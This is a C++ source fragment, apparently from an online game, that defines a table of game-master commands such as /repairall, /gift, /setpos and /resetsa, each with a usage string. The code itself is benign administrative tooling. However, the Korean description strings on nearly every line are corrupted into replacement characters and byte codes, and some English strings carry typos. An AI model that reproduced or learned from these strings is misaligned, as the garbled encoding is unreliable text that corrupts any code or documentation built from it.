{ REPAIRALL , _T ( " /repairall " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/repairall), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> մϴ<D5B4> .)" ) , _T ( " Usage(/repairall), Description(Repaire all items your character has) " ) } ,
{ BUILDUPALL , _T ( " /buildupall " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/buildupall(<28> <> ȭ<EFBFBD> ܰ<EFBFBD> 0-15)), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> , <20> κ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> ȭ <20> ÷<EFBFBD> <C3B7> <EFBFBD> )" ) , _T ( " Usage(/buildupall(Enchant Level 0-15)), Description(Upgrade all Items' enchant:Equip, Inven) " ) } ,
{ POTENTIALALL , _T ( " /potentialall " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/potentialall), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/potentialall), Description(Apply potential of EquipItem) " ) } ,
{ GUILD_CREATE , _T ( " /gcreate " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gcreate <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> â<> <C3A2> )" ) , _T ( " Usage(/gcreate GuildName), Description(Create Guild) " ) } ,
{ GUILD_DISMISS , _T ( " /gdismiss " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gdismiss), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> ػ<EFBFBD> )" ) , _T ( " Usage(/gdismiss), Description(Dismiss Guild) " ) } ,
{ GUILD_CHANGELEVEL , _T ( " /glevel " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/glevel <20> <> <EFBFBD> 巹<EFBFBD> <E5B7B9> (1~<7E> ִ뷹<D6B4> <EBB7B9> )), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/glevel GuildLevel(1~20)), Description(Set Guild Level) " ) } ,
{ GUILD_MAKECOIN , _T ( " /gcoin " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gcoin <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ڱ<EFBFBD> (0~<7E> ִ<EFBFBD> <D6B4> ڱ<EFBFBD> )), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> ڱ<EFBFBD> <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/gcoin GuildCoin(0~MaxCoin)), Description(Increase Guild Coin) " ) } ,
{ GUILD_CHANGECMMPOINT , _T ( " /gcommon " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gcommon <20> <> <EFBFBD> <EFBFBD> <EFBFBD> Ϲ <EFBFBD> <CFB9> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ(0~<7E> ִ<EFBFBD> <D6B4> Ϲ <EFBFBD> <CFB9> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ)), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> Ϲ <EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/gcommon GuildPoint(0~MaxPoint)), Description(Increase Guild Point) " ) } ,
{ GUILD_CHANGEMISSIONPOINT , _T ( " /gmission " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gmission <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ̼<EFBFBD> <CCBC> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ(0~<7E> ִ<EFBFBD> <D6B4> Ϲ <EFBFBD> <CFB9> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ) <20> ̼Ǿ<CCBC> <C7BE> ̵<EFBFBD> ), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> ̼<EFBFBD> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/gmission GuildPoint(0~MaxPoint), MissionID), Description(Increase Guild Point) " ) } ,
{ GUILD_CHANGEWARPOINT , _T ( " /gwar " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gwar <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ(0~<7E> ִ<EFBFBD> <D6B4> Ϲ <EFBFBD> <CFB9> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ) ), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <20> <> <20> <> <EFBFBD> <EFBFBD> Ʈ <20> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/gwar GuildPoint(0~MaxPoint)), Description(Increase Guild Point) " ) } ,
{ ACHIEVEGUILDCOMMONMISSION , _T ( " /gcommonachieve " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> Ϲ ݹ̼<DDB9> <20> <EFBFBD> " ) , _T ( " Achieve Guild Common Mission " ) } ,
{ RESET_SECONDAUTH , _T ( " /resetsa " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/resetsa), <20> <> <EFBFBD> <EFBFBD> (2<> <32> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ʱ<EFBFBD> ȭ)" ) , _T ( " Usage(/resetsa), Description(Reset second authentication's info) " ) } ,
{ GAINWEEKLYMISSION , _T ( " /wmissiongain " ) , _T ( " <EFBFBD> ְ<EFBFBD> <EFBFBD> ̼<EFBFBD> ȹ<> <C8B9> " ) , _T ( " Acquire Weekly Mission " ) } ,
{ ACHIEVEWEEKLYMISSION , _T ( " /wmissionachieve " ) , _T ( " <EFBFBD> ְ<EFBFBD> <EFBFBD> ̼<EFBFBD> <20> <EFBFBD> " ) , _T ( " Achieve Weekly Mission " ) } ,
{ ACHIEVEGUILDMISSION , _T ( " /gmissionachieve " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ̼<EFBFBD> <20> <EFBFBD> " ) , _T ( " Achieve GuildWar Mission " ) } ,
{ MAKE_GUILDFESTIVAL_POINT , _T ( " /makefestivalpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/makefestivalpoint(<28> <> ü<EFBFBD> <C3BC> <EFBFBD> <EFBFBD> Ʈ)" ) , _T ( " Usage(/makefestivalpoint(Value)) " ) } ,
{ MAKE_GUILDWAR_REWARD , _T ( " /guildwarreward " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/guildwarreward(<28> <> <EFBFBD> <EFBFBD> <20> ? <20> <> <EFBFBD> <EFBFBD> :1, <20> <> <EFBFBD> <EFBFBD> :2, 4<> <34> :3, 8<> <38> :4, 16<31> <36> :5)" ) , _T ( " Usage(/gulldwarreward(GuildWar Reward) " ) } ,
{ FARM_START , _T ( " /gofarm " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gofarm), <20> <> <EFBFBD> <EFBFBD> (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 밡<EFBFBD> <EBB0A1> )" ) , _T ( " Usage(/gofarm), Description(Only use in village) " ) } ,
{ IGNOREHIT , _T ( " /ignorehit " ) , _T ( " (hit <20> <> <EFBFBD> <EFBFBD> ) " ) , _T ( " (Ingore hit) " ) } ,
{ INVENCLEAR , _T ( " /invenclear " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/invenclear(0:<3A> Ϲ <EFBFBD> <CFB9> κ<EFBFBD> 1:ij<> <C4B3> <EFBFBD> κ<EFBFBD> 2:<3A> <> <EFBFBD> <EFBFBD> Ʈ<EFBFBD> κ<EFBFBD> )" ) , _T ( " Usage(/invenclear(0:NormalInven 1:CashInven 2:QuestInven) " ) } ,
{ GIFT , _T ( " /gift " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gift(ItemSN:<3A> <> ǰSN))" ) , _T ( " Usage(/gift(ItemSN)) " ) } ,
{ GETPOS , _T ( " /getpos " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/getpos)" ) , _T ( " Usage(/getpos) " ) } ,
{ SETPOS , _T ( " /setpos " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setpos x, y, z)" ) , _T ( " Usage(/setpos x, y, z) " ) } ,
# if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
{ SETREPUTE , _T ( " /setrepute " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setrepute(NpcID), (ȣ <> <C8A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġ), (<28> <> ȣ <EFBFBD> <C8A3> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ġ)" ) , _T ( " Usage(/setrepute(NpcID), (ReputationValue:Like), (Dislike) " ) } ,
# endif // #if defined(PRE_ADD_NPC_REPUTATION_SYSTEM)
{ MASTERSYSTEM_MOD_GRADUATECOUNT , _T ( " /modgraduatecount " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/modgraduatecount(<28> <> ġ)" ) , _T ( " Usage(/modgraduatecount(Value) " ) } ,
{ MASTERSYSTEM_SKIP_DATE , _T ( " /skipmasterdate " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/skipmasterdate(1or0)" ) , _T ( " Usage(/skipmasterdate(1or0) " ) } ,
{ MASTERSYSTEM_MOD_FAVORPOINT , _T ( " /modmasterfavorpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/modmasterfavorpoint(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> )(<28> <> ġ)" ) , _T ( " Usage(/modmasterfavorpoint(ChildName)(Value) " ) } ,
{ MASTERSYSTEM_MOD_RESPECTPOINT , _T ( " /modmasterrespectpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/modmasterrespectpoint(<28> <> ġ)" ) , _T ( " Usage(/modmasterrespectpoint(Value) " ) } ,
{ FARM_PLANTSEED , _T ( " /plantseed " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/plantseed(AreaIndex)(ActionType)(SeedInvenIndex)" ) , _T ( " Usage(/plantseed(AreaIndex)(ActionType)(SeedInvenIndex) " ) } ,
{ FARM_DESTROYSEED , _T ( " /destroyseed " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/destroyseed(AreaIndex)" ) , _T ( " Usage(/destroyseed(AreaIndex) " ) } ,
{ FARM_SKIPSEED , _T ( " /skipseed " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/skipseed(AreaIndex)" ) , _T ( " Usage(/skipseed(AreaIndex) " ) } ,
# if defined( PRE_ADD_FARM_DOWNSCALE )
{ FARM_ADDATTR , _T ( " /farmaddattr " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/farmaddattr(attr)" ) , _T ( " Usage(/farmaddattr(attr) " ) } ,
{ FARM_DELATTR , _T ( " /farmdelattr " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/farmdelattr(attr)" ) , _T ( " Usage(/farmdelattr(attr) " ) } ,
# endif // #if defined( PRE_ADD_FARM_DOWNSCALE )
{ RELOAD_MONSTER_AI , _T ( " /reloadmonsterai " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> AI <20> <> <EFBFBD> ε<EFBFBD> " ) , _T ( " Reload MonsterAI " ) } ,
{ NESTCLEAR , _T ( " /nest " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/nest(NestMapID)" ) , _T ( " Usage(/nest(NestMapID) " ) } ,
# if defined( PRE_ADD_SECONDARY_SKILL )
{ ADD_SECONDARYSKILL , _T ( " /add2ndskill " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskill(SkillID)" ) , _T ( " Usage(/add2ndskill(SkillID) " ) } ,
{ DEL_SECONDARYSKILL , _T ( " /del2ndskill " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/del2ndskill(SkillID)" ) , _T ( " Usage(/del2ndskill(SkillID) " ) } ,
{ ADD_SECONDARYSKILL_EXP , _T ( " /add2ndskillexp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillexp(SkillID)(addexp)" ) , _T ( " Usage(/add2ndskillexp(SkillID)(addexp) " ) } ,
{ ADD_SECONDARYSKILL_RECIPE , _T ( " /add2ndskillrecipe " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillrecipe(SkillID)(recipeinvenindex)" ) , _T ( " Usage(/add2ndskillrecipe(SkillID)(recipeinvenindex) " ) } ,
{ ADD_SECONDARYSKILL_RECIPE_EXP , _T ( " /add2ndskillrecipeexp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/add2ndskillrecipeexp(SkillID)(recipeItemID)(addexp)" ) , _T ( " Usage(/add2ndskillrecipeexp(SkillID)(recipeItemID)(addexp) " ) } ,
{ DEL_SECONDARYSKILL_RECIPE , _T ( " /del2ndskillrecipe " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/del2ndskillrecipe(SkillID)(recipeItemID)" ) , _T ( " Usage(/del2ndskillrecipe(SkillID)(recipeItemID) " ) } ,
{ EXTRACT_SECONDARYSKILL_RECIPE , _T ( " /extract2ndskillrecipe " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/extract2ndskillrecipe(SkillID)(recipeItemID)" ) , _T ( " Usage(/extract2ndskillrecipe(SkillID)(recipeItemID) " ) } ,
# endif // #if defined( PRE_ADD_SECONDARY_SKILL )
{ SET_PERIODQUEST , _T ( " /setperiodquest " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setperiodquest(nScheduleID)(1:Ȱ<> <C8B0> 0:<3A> <> Ȱ<EFBFBD> <C8B0> )(<28> ̺<EFBFBD> Ʈ<EFBFBD> <C6AE> ¥ yyyymmddhhmm:yyyymmddhhmm)" ) , _T ( " Usage(/setperiodquest(ScheduleID)(Activate:1 or 0)(EventDate yyyymmddhhmm:yyyymmddhhmm) " ) } ,
{ SET_WORLDQUEST , _T ( " /setworldquest " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setworldquest(nScheduleID)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :yyyymmddhhmm)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :yyyymmddhhmm)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> :yyyymmddhhmm)" ) , _T ( " Usage(/setworldquest(ScheduleID)(CollectStartDay:yyyymmddhhmm)(CollectEndDay:yyyymmddhhmm)(RewardStartDay:yyyymmddhhmm) " ) } ,
{ GUILD_CHANGEMEMBERCOUNT , _T ( " /gmember " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gmember(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ο <EFBFBD> <CEBF> <EFBFBD> )" ) , _T ( " Usage(/gmember(GuildMemberCount) " ) } ,
{ SET_GUILDWAREVENT , _T ( " /setguildwarevent " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setguildwarevent(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> ۽ð<DBBD> yyyymmddhhmm)(<28> ̺<EFBFBD> Ʈ<EFBFBD> ð<EFBFBD> :<3A> <> )(<28> غ<EFBFBD> <D8BA> ð<EFBFBD> :<3A> <> )" ) , _T ( " Usage(/setguildwarevent(ScheduleID)(StartDate yyyymmddhhmm)(EventDuration:Minute)(ReadyDuration:Minute) " ) } ,
{ SET_PREWINGUILDUID , _T ( " /setprewinguild " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setprewinguild" ) , _T ( " Usage(/setprewinguild " ) } ,
{ SET_GUILDWAR_FINALTIME , _T ( " /setguildwarfinaltime " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setguildwarfinaltime(+sec)" ) , _T ( " Usage(/setguildwarfinaltime(+sec) " ) } ,
{ SET_GUILDWARSCHEDULE_RELOAD , _T ( " /setguildwarreload " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ٽ<EFBFBD> <20> б <EFBFBD> " ) , _T ( " GuildWar Reload " ) } ,
{ SET_TITLE , _T ( " /settitle " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/settitle(<28> ε<EFBFBD> <CEB5> <EFBFBD> )" ) , _T ( " Usage(/settitle(Index) " ) } ,
{ SET_LADDER_POINT , _T ( " /setladderpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladderpoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ)" ) , _T ( " Usage(/setladderpoint(1:1=1,2:2=2...Etc)(LadderPoint) " ) } ,
{ SET_LADDER_GRADEPOINT , _T ( " /setladdergradepoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladdergradepoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/setladdergradepoint(1:1=1,2:2=2...Etc)(Rating) " ) } ,
{ SET_LADDER_HIDDENGRADEPOINT , _T ( " /setladderhiddengradepoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setladderhiddengradepoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/setladderhiddengradepoint(1:1=1,2:2=2...Etc)(Pre Rating) " ) } ,
{ GET_LADDER_POINT , _T ( " /getladderpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/getladderpoint(1:1=1,2:2=2...<2E> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> )" ) , _T ( " Usage(/getladderpoint(1:1=1,2:2=2...Etc) " ) } ,
{ FORCE_LADDER_MATCHING , _T ( " /forcematching " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/forcematching" ) , _T ( " Usage(/forcematching " ) } ,
{ SET_SECOND_JOB_SKILL , _T ( " /setsecondjobskill " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/setsecondjobskill(2<> <32> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Job ID)" ) , _T ( " Usage(/setsecondjobskill(Second Ex-Job ID) " ) } ,
{ CLEAR_SECOND_JOB_SKILL , _T ( " /clearsecondjobskill " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/clearsecondjobskill" ) , _T ( " Usage(/clearsecondjobskill " ) } ,
{ MAKE_UNION_POINT , _T ( " /makeunionpoint " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/makeunionpoint(<28> <> <EFBFBD> <EFBFBD> Ÿ<EFBFBD> <C5B8> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> Ʈ)" ) , _T ( " Usage(/makeunionpoint(UnionType)(Point) " ) } ,
{ CMDEQUIPTRIGGER , _T ( " /cmdtriggerequip " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/cmdtriggerequip(ItemID)(shootmode)" ) , _T ( " Usage(/cmdtriggerequip(ItemID)(shootmode) " ) } ,
{ CMDUNRIDE , _T ( " /cmdunride " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/cmdunride" ) } ,
{ ITEMEXPIREDATE , _T ( " /itemexpiredate " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/itemexpiredate(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> ۽ø<DBBD> <C3B8> <EFBFBD> ))" ) , _T ( " Usage(/itemexpiredate(ItemSerial)) " ) } ,
{ UPDATE_PET_EXP , _T ( " /updatepetexp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/UpdatePetExp(<28> <> <EFBFBD> <EFBFBD> ġ)" ) , _T ( " Usage(/UpdatePetExp(Exp) " ) } ,
{ SET_PET_COLOR , _T ( " /setpetcolor " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/SetPetColor(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> 1<> ̸<EFBFBD> body 2<> <32> tatoo)(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ÷<EFBFBD> <C3B7> <EFBFBD> )" ) , _T ( " Usage(/SetPetColor(type 1 or 2)(color) " ) } ,
{ PERIODRESET , _T ( " /periodreset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/periodreset(Ÿ<> <C5B8> )" ) , _T ( " Usage(/periodreset(Type)(Value) " ) } ,
{ MAKEGITEM , _T ( " /makegitem " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/makegitem(itemgrouptableid)" ) , _T ( " Usage(/makegitem(itemgrouptableid) " ) } ,
{ FARM_GUILDWAR_FINAL , _T ( " /farmguildwarfinal " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/farmguildwarfinal" ) , _T ( " Usage(/farmguildwarfinal " ) } ,
{ DESTROYPVP , _T ( " /destroypvp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/destroypvp(PvP<76> ε<EFBFBD> <CEB5> <EFBFBD> )(<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <20> ̱<EFBFBD> <CCB1> <EFBFBD> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <EFBFBD> ̸<EFBFBD> )" ) , _T ( " Usage(/destroypvp(PvP RoomNumber)(Win GuildName) " ) } ,
{ CLEAR_MISSION , _T ( " /clearmission " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/clearmission)" ) , _T ( " Usage(/clearmission) " ) } ,
{ CLEAR_PRESENT , _T ( " /cleargift " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/cleargift)" ) , _T ( " Usage(/cleargift) " ) } ,
{ SHOP_GETLIST_REPURCHASE , _T ( " /getlistrepurchase " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/getlistrepurchase)" ) , _T ( " Usage(/getlistrepurchase) " ) } ,
{ SHOP_REPURCHASE , _T ( " /repurchase " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/repurchase repurchaseid)" ) , _T ( " Usage(/repurchase repurchaseid) " ) } ,
# if defined( PRE_ADD_QUICK_PVP)
{ QUICKPVP , _T ( " /quickpvp " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/quickpvp (<28> <> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> ij<EFBFBD> <C4B3> <EFBFBD> <EFBFBD> ))" ) , _T ( " Usage(/quickpvp (Other CharacterName)) " ) } ,
# endif
{ PVPTIMEOVER , _T ( " /pvptimeover " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/pvptimeover)" ) , _T ( " Usage(/pvptimeover) " ) } ,
{ RESETNESTCOUNT , _T ( " /resetnestcount " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/resetnestcount)" ) , _T ( " Usage(/resetnestcount) " ) } ,
{ DEL_GUILDEFFECT , _T ( " /grewardreset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/grewardreset(<28> <> <EFBFBD> 庸<EFBFBD> <E5BAB8> <EFBFBD> <EFBFBD> <EFBFBD> ̵<EFBFBD> ))" ) , _T ( " Usage(/grewardreset)(guildrewarditemID) " ) } , // <20> <> <EFBFBD> 庸<EFBFBD> <E5BAB8> ȿ<> <C8BF> <20> <> <EFBFBD> <EFBFBD> (<28> Ⱓ<EFBFBD> <E2B0A3> ȿ<> <C8BF> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> 쿡<EFBFBD> <ECBFA1> <20> <> <EFBFBD> <EFBFBD> )
{ DEL_GUILDMARK , _T ( " /gmarkreset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gmarkreset)" ) , _T ( " Usage(/gmarkreset) " ) } , // <20> <> <EFBFBD> 帶ũ <20> ʱ<EFBFBD> ȭ
{ DENY_GUILDRECRUIT , _T ( " /gwantedreset " ) , _T ( " <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> <EFBFBD> (/gwantedreset)" ) , _T ( " Usage(/gwantedreset) " ) } , // <20> ڽ<EFBFBD> <DABD> <EFBFBD> <20> <> <EFBFBD> 忡 <20> <> <EFBFBD> Խ<EFBFBD> û<EFBFBD> <C3BB> ij<> <C4B3> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD> <20> <> <EFBFBD> <EFBFBD>
